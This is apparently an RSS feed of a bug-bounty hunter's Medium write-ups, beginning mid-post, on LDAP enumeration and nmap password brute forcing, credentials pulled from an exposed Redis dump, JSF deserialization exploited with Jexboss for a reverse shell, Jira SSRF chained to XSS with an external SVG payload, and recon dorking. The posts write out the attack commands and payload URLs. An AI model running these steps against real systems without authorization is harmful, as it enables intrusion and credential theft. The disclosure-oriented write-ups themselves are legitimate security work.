src="https://cdn-images-1.medium.com/max/1024/1*D4bvWvXmPqQtAz09k7ZTUg.png" /><figcaption>this is just small glimpse how it would look like.</figcaption></figure><p>now , take a note of naming context/base ,with this we can enum ldap users and their access details and uids , etc</p><p>defaultnamingcontext: dc=xxx,dc=xxx,dc=xx</p><p>we are gonna use this command.</p><p>ldapsearch -h &lt;TARGET IP&gt; -p 389 -x -b “dc=xxx,dc=xxx,dc=xx”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_aZnlKSRn9sH0qRcJQBCQ.png" /></figure><p>now there were lots of users and here’s how their ldap detail look like</p><p># aab, users, compat, doman_name<br>dn: uid=aab,cn=users,cn=compat,dc=xxx,dc=xxx,dc=xx<br>objectClass: posixAccount<br>objectClass: ipaOverrideTarget<br>objectClass: top<br>gecos: name_here<br>cn: name_here<br>uidNumber: 1019XXXXXXX<br>gidNumber: 1019XXXXXXX<br>loginShell: /bin/bash<br>homeDirectory: /home/aab<br>ipaAnchorUUID:: xxxxxxxxx<br>uid: aab</p><p>now with this as a attacker i can try bruteforcing passwords or can check for usernames and password with a default list using nmap</p><p>nmap -p 389 — script ldap-brute — script-args ldap.base=’”dc=xxx,dc=xxxx,dc=xx”’ &lt;target ip&gt;</p><p>#Note: You can use jxplorer to do the same , just connect to the port using it .</p><p>#Note: do nmap scan on all subs if the target scope is big.</p><p>with this i got lucky and got a ldap user cred (thanks to nmap)</p><p>once you get access use jxplorer to play around .</p><p>after reporting it , i earned good bounty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*_SlAfvVvlUxYhad4eED5Sw.jpeg" /></figure><p>#if you have any question just DM on my twitter.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=703209161001" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How i found credential enriched redis dump]]></title>
            <link>https://medium.com/@D0rkerDevil/how-i-found-credential-enriched-redis-dump-2b9e808024c4?source=rss-e489427a5af0------2</link>
            <guid isPermaLink="false">https://medium.com/p/2b9e808024c4</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Ashish Kunwar]]></dc:creator>
            <pubDate>Tue, 16 Apr 2019 11:15:42 GMT</pubDate>
            <atom:updated>2019-04-16T13:28:11.985Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, Everyone</p><p>So, i was testing a program , and during my recon i came across tons of subdomains unfortunately there were wildcard.</p><p>Anyways, my eye got attention on a subdomain“redacted-redacted.redacted.com” and it was a static page just to download their mobile apps , as it was a beta version so i thought why not do some directory search,so i ran dirsearch on default list</p><p>python3 dirsearch.py -e &lt;extensions list&gt; -u http://redacted-redacted.redacted.com</p><p>and a file dump.rdb catch-ed my attention , it was 3mb in size</p><p>Now a question arise what is Dump.rdb?</p><p>To those who don’t know</p><blockquote><strong>rdb file</strong> is a binary representation of the in-<strong>memory</strong> store. This binary <strong>file</strong> is sufficient to completely restore <strong>Redis</strong>’ state. The <strong>rdb file</strong> format is optimized for fast read and writes. Where possible LZF compression is used to reduce the <strong>file</strong> size</blockquote><p>so as we see it had LZF compression so it was hard to read , so i downloaded couple of things</p><ol><li>rdbtools</li><li>python-lzf</li></ol><p>sudo pip install rdbtools python-lzf</p><p>and now once they are installed , we run command in order to make it readable , and in order to read we have to convert it to json</p><p>rdb — comand json dump.rdb -f output.json</p><p>or you can also save the output in directly in a .txt file</p><p>sudo rdb — command json dump.rdb &gt; out.txt</p><p>this will save all the json output in .txt</p><p>(somewhat direct output save makes the file readable in compare to original output rdbtools does)</p><p>and now you can open it in your fav. editor or use this service or whatever suits you.</p><p><a href="http://jsonviewer.stack.hu/">http://jsonviewer.stack.hu</a></p><p>Now when i opened it, i found smtp login creds, usernames, passwords,addresses, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6LsGgvnHP-kuTCEsuOwdTA.png" /></figure><p>Unfortunately i cannot tell you the company name or any other detail, just this writeup gives idea what to do if you find anything like this.</p><p>So i reported to the company and they replied</p><p>“it is 3 years old but thank you for letting us know, Bla Bla Bla…”</p><p>unfortunately no Bounty yet.</p><p>“But its always great to learn something and experience from it.”</p><p>My DM is open for any questions.</p><p>Thank you for Reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2b9e808024c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Infinite Loop Story.]]></title>
            <link>https://medium.com/@D0rkerDevil/a-infinite-loop-story-f2bc05771a88?source=rss-e489427a5af0------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2bc05771a88</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[writing]]></category>
            <category><![CDATA[whitehat]]></category>
            <category><![CDATA[responsible-disclosure]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Ashish Kunwar]]></dc:creator>
            <pubDate>Wed, 29 Aug 2018 18:44:58 GMT</pubDate>
            <atom:updated>2019-04-30T10:25:26.690Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Note: i have already covered this vulnerability previously 2 times on my blogs so you can check that out.</blockquote><p>Now , I will just go straight to the point.</p><p>I was in My bugcrowd account, Roaming Through Programs, and with my previous experience with Redacted.com program.</p><p>I thought why not give it a try, after all i had really bad reputation then.</p><p>So i opened the subdomain.Redacted.com as it was in scope , soi took a moment looking at “Wappalyzer”, and i found nothing more than this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*QnBrCdZTaLC8uxXKcUDfSw.png" /><figcaption>Bulls***</figcaption></figure><p>my eyes shifted towards the url and saw “.jsp”</p><p><a href="https://ebanking.westernunionbank.com/wuweb/xhtml/public/PartnerIndex.jsf">“ https://example.Redacted.com/dir/dir/public/SomethingHere.jsf</a>”</p><p>and i was like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*D-678vY_id9ZHUqBnde9mQ.jpeg" /><figcaption>Wohoo!</figcaption></figure><p>It Reminds of my previous Finding (i did writeup on)</p><h3>Next Step</h3><p>I made a small custom dir file base on my previous encounter .</p><blockquote>Dir.txt</blockquote><blockquote>web-console , admin-console,…. so on</blockquote><p>and ran it with dirbuster</p><blockquote>I thought it was running tomcat but i was wrong , i remember from my previous reports that they are using some “IBM web app” .</blockquote><p>and found a strange thing</p><p>/web-console/ is doing</p><p>302 redirection.</p><p>so i opened it in browser.</p><p>And found that,It kept redirecting me to infinity..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A_6EY0f-Xqa1G-AtqF1xbg.png" /><figcaption>Redacted few things.</figcaption></figure><p>So as of my previous two encounters on two different programs and turn out to be valid</p><p>“So far i think that path confusions leads to this vulnerability.”</p><blockquote><strong>where web application confuse where to go next and hence result into Infinite Loop.</strong></blockquote><blockquote>Note: If i m wrong and anyone can explain better , you are welcome</blockquote><p>All i found is a CWE-835, which says</p><p><strong>“An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software’s operation may slow down, or cause a long time to respond.”</strong></p><p>So i reported and turn to valid and BugCrowd Rewarded me 100$ and 5 points</p><blockquote>References:</blockquote><blockquote><a href="https://dxploiter.blogspot.com/">https://dxploiter.blogspot.com/</a></blockquote><p>Again My DM is open everyone</p><p>Thank you for so much love and support.</p><p>Peace out :-)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2bc05771a88" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How i found a 1500$ worth Deserialization vulnerability]]></title>
            <link>https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a?source=rss-e489427a5af0------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ce753416e0a</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cyber-sec]]></category>
            <category><![CDATA[white-hat-hacker]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Ashish Kunwar]]></dc:creator>
            <pubDate>Tue, 28 Aug 2018 05:59:12 GMT</pubDate>
            <atom:updated>2018-09-24T17:27:12.773Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Note before you start.</blockquote><blockquote>This is not a so called “great writeup”. I m writing this because many of you were In-boxing/messaging me for writeup ,so here it is .</blockquote><p>SO i m gonna start this writeup as a story .</p><p>This was about 7:00 PM and last day of my broadband service expiry date, so i thought why not hunt for vulnerabilities and eat every bit of the remaining data.</p><p>I logged in my bugcrowd account.</p><p>and was thinking</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*x86SNJ2ePcCAMh10MnlO2g.jpeg" /><figcaption>Thinking meme…</figcaption></figure><p>and going through some programs , i got my eye on a program which is ******(private, so can’t name it) , lets call it “Redacted.com” and was less tested .</p><p>so i looked into its scope, and turn to be only one scope and other one is redirecting me to main domain.</p><p>There was a login page, simple and classy look.</p><p>I looked at my “Wappalyzer addon” and all i can see is a</p><p>javascript framework : Prototype 1.6.1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*RKsF9HNidyyRahCDrivTrw.png" /><figcaption>Prototype 1.6.1</figcaption></figure><p>which remind me of jboss… (which i ignored for no reason)</p><p>Also i tried registering it but you have to wait for the backend team to review and approve that, so without thinking i fired “burp suite”</p><p>and was playing with login and i saw this in the request</p><blockquote>&lt;input type=”hidden” name=”javax.faces.ViewState” id=” javax.faces.ViewState”&quot; value=”rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s…………..&lt;snipt&gt;” autocomplete=”off” /&gt;</blockquote><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>UPDATED</h3><p>If the captured traffic data include the following patterns may suggest that the data was sent in Java serialization streams</p><ul><li>“AC ED 00 05” in Hex</li><li><em>“rO0” in Base64</em></li><li>Content-type = ‘<em>application/x-java-serialized-object</em></li></ul><p>i found a another deserialization vuln. , this one is was encoded in gzip(base64) , it somewhat starts with</p><ul><li>“H4sIAAAAAAAAAJ”</li></ul><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>well, this cleared my doubt , the website is using Java Server Faces (JSF)</p><p>and i was like Hmmm…..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*6gmmA26CBZ_lmH2AtGNFYg.jpeg" /><figcaption>Hmm (Deep Thinking)</figcaption></figure><p>next step was testing the Hidden value which was encoded in base64 and on decoding it i found the Serialized java values and were not even encrypted .</p><p>which on digging more i found this information for those who don’t know .</p><p><strong>The state of the ViewState</strong><br>A difference between JSF and similar web technologies is that JSF makes use of ViewStates (in addition to sessions) to store the current state of the view (e.g. what parts of the view should currently be displayed). The ViewState can be stored on the server or the client. JSF ViewStates are typically automatically embedded into HTML forms as hidden field with the name javax.faces.ViewState. They are sent back to the server if the form is submitted.</p><p><strong>Server-side ViewState</strong><br>If the JSF ViewState is configured to sit on the server the hidden javax.faces.ViewState field contains an id that helps the server to retrieve the correct state. In the case of MyFaces that id is a serialized Java object!</p><p><strong>Client-side ViewState</strong><br>If the JSF ViewState is configured to sit on the client the hidden javax.faces.ViewState field contains a serialized Java object that is at least Base64 encoded. You might have realized by now that this is a potential road to disaster! That might be one of the reasons why nowadays JSF ViewStates are encrypted and signed before being sent to the client.</p><p>Now,</p><h3>Exploitation</h3><p>I ran “Jexboss tool”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*rT6UJXcTMBlhqGCdooAJFA.png" /><figcaption>Jexboss</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*wTVRWRI4Rh-Pt-sz2x4RXw.png" /><figcaption>reverse shell :)</figcaption></figure><p>there was a Jmx-console exposed and vulnerable too</p><p>I then i used my vps and setup a listner and set the Rhost and port and got a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*SsDu0raehP0DntGMSPqymw.jpeg" /><figcaption>Heck Yes!</figcaption></figure><p>So i then reported it and after few days it got triaged and rewarded 1500$ and 40 Points on the same day within a Hour.</p><blockquote>Reference</blockquote><p><a href="https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html">Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities</a></p><blockquote><a href="https://github.com/joaomatosf/jexboss">https://github.com/joaomatosf/jexboss</a></blockquote><p>Hope you liked the writeup.</p><p>“DM me anytime , its open for everyone.”</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ce753416e0a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How i converted SSRF TO XSS in jira.]]></title>
            <link>https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158?source=rss-e489427a5af0------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9f37ad5b158</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[white-hat-hacker]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ashish Kunwar]]></dc:creator>
            <pubDate>Fri, 01 Jun 2018 12:05:53 GMT</pubDate>
            <atom:updated>2018-06-01T12:07:36.764Z</atom:updated>
            <content:encoded><![CDATA[<p>I m very much into Bug Bounty and i spend my whole day doing this finding new and interesting stuff and kept on upgrading my recon techniques.</p><p>So this Site was random and has vast subdomains to test</p><p>domain *.example.com</p><p>so i used some sites to find subdomains</p><ol><li><a href="https://findsubdomains.com/">FindSubdomains.com</a></li></ol><p>2. <a href="https://dnsdumpster.com/">DnsDumpster</a></p><p>3. <a href="https://virustotal.com/">virustotal</a></p><p>4. <a href="https://s3.amazonaws.com/a280ccaaf904330a389db759e6275285/acunetix_manual_tools_setup.exe">Acunetix mannual tool</a></p><p>Before i start Acunetix does Subdomain scans so just set the time out to 20 and you will get a really big list with banners and response headers. (it does the half of the work for you.)</p><p>Now, i been through lots of subdomains and i was specifically looking for any jira environment , and i found one.</p><p>lets say wiki.example.com</p><p>so i looked at the version and it was “5.8.13” ,which is affected to ssrf ……</p><p>I remember the “<a href="https://medium.com/@alyssa.o.herrera">Alyssa Herrera</a>” writeup on “<a href="https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a">Piercing the Veil: Server Side Request Forgery to NIPRNet access</a>”</p><p>so i quickly visited</p><p>“<a href="https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://google.com">plugins/servlet/oauth/users/icon-uri?consumerUri=http://google.com</a>”</p><p>And Boom i got the google page and i m like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*vs6JK7rT96YB854Gr3tnGg.gif" /><figcaption>Hell Yea !</figcaption></figure><p>So i followed the writeup but couldn’t managed to get any sensitive info .</p><p>[Yes i tried everything ..nothing worked.]</p><p>And that’s where i was like “why god?” why ?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*lOyOd_IBEJojSuSUuCu1FA.gif" /><figcaption>why God?</figcaption></figure><p>and then suddenly it came to my mind and i went to brute xss blog</p><p>copied “<a href="http://brutelogic.com.br/poc.svg">http://brutelogic.com.br/poc.svg</a>” , and put it place of <a href="https://google.com/">https://google.com</a></p><p>and boom , i got XSS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xv52IPoAzy8XK19Jr-MuCw.png" /><figcaption>ssrf to XSS in #Vain</figcaption></figure><p>So it worked and i got bounty of 50$ which is less (and that company sucks)</p><p>Anyways it doesn’t matter at all , it was all about exploration and learning new things and gain experience.</p><p>#sharing is #caring</p><p>Hope you guys enjoyed it and learned something new. #[For who doesn’t know ,rest are leets].</p><p>Thank you</p><p>./Logout</p><p>follow me on twitter: <a href="https://medium.com/u/e489427a5af0">Ashish Kunwar</a></p><p>and if you have any questions DM is open only for followers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9f37ad5b158" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Way I Recon]]></title>
            <link>https://medium.com/@D0rkerDevil/the-way-i-recon-9956e2ed5ffa?source=rss-e489427a5af0------2</link>
            <guid isPermaLink="false">https://medium.com/p/9956e2ed5ffa</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security-researchers]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[white-hat-hacker]]></category>
            <dc:creator><![CDATA[Ashish Kunwar]]></dc:creator>
            <pubDate>Mon, 16 Apr 2018 16:20:33 GMT</pubDate>
            <atom:updated>2019-12-08T03:40:45.849Z</atom:updated>
            <content:encoded><![CDATA[<p>#Note — this is old now, as my recon has dramatically changed over time.And will try to update it or do a new writeup soon.</p><p>Many People ask me , how did you find that bug ? i have spend-ed many days but i didn’t found any Bug Yet .</p><p>My Answer is Simple , You haven’t done your recon correctly.</p><p>So as many of you know i did a POLL on Twitter and got 100% on YES . so here is “The Way I Recon”</p><p>So Now , lets assume i m doing Bug Hunting on a website called xyz</p><p>now i check the scope and found that it has broader scope like *.xyz.com or *.xyz*</p><p>Now i start with Google Dorking</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*OxbDH_r8NirttbQ3RxPd2A.jpeg" /></figure><p>Site:*.xyz.com #find subdomains</p><p>Site:*.xyz.com or Site:*.xyz.* or site:.xyz.com subdomain</p><p>Look for Interesting extensions</p><p>ext:txt,cfg,log,xml,swf,mdb,db,sql,js,json,jsp,jspa,jsf,go,do,action,php,html,htm,asp,aspx ..and on and on</p><p>js,json,jspa,jsp,jsf may take you to some interesting endpoints</p><p>go,do,action shows the apache struts2 is running so you can quickly check if its exploitable.</p><p>I Personally use these to find subdomains</p><p>findsubdomains.com</p><p>dnsdumpster.com</p><p>Knockpy</p><p>Sublist3r</p><p>Acunetix mannual tool: <a href="http://Acunetix mannual tool">https://www.acunetix.com/vulnerability-scanner/free-manual-pen-testing-tools/</a></p><p>With Acunetix Mannual tool you can find subdomains, test for Open Ports, HTTP editor, Fuzzer, crawler, HTTP sniffer and Blind sql injection exploitor.</p><p>We can use cert transparency tool</p><ul><li><a href="https://crt.sh/">crt.sh | Certificate Search</a></li><li><a href="https://transparencyreport.google.com/https/certificates">Google Transparency Report</a></li></ul><p>I also use</p><p>shodan.io</p><p>censys.io</p><p>Shodan Dorks, Read here :</p><iframe src="https://drive.google.com/viewerng/viewer?url=https%3A//www.exploit-db.com/docs/english/33859-searching-shodan-for-fun-and-profit.pdf&amp;embedded=true" width="600" height="780" frameborder="0" scrolling="no"><a href="https://medium.com/media/0954740d7f42e4fb1544be40f762dcdd/href">https://medium.com/media/0954740d7f42e4fb1544be40f762dcdd/href</a></iframe><p>I Personally use Wappalyzer addon in chrome and thanks to that i have found lots of vulnerabilities in many web apps.</p><p>Now once you chose a subdomain after you done with above methods</p><p>try looking for robots.txt, clientaccesspolicy.xml(this helped me earn 300$ in a private program)</p><p>Read here for clientaccesspolicy:</p><p><a href="https://www.acunetix.com/vulnerabilities/web/insecure-clientaccesspolicy-xml-file">Acunetix</a></p><p>also do directory bruteforce (Never know what surprise is waiting for you there)</p><p>use Directorybuster (i use it, and i think its enough)</p><p>………..To be Continued.</p><p>Hope you Enjoyed Reading it :-)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9956e2ed5ffa" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>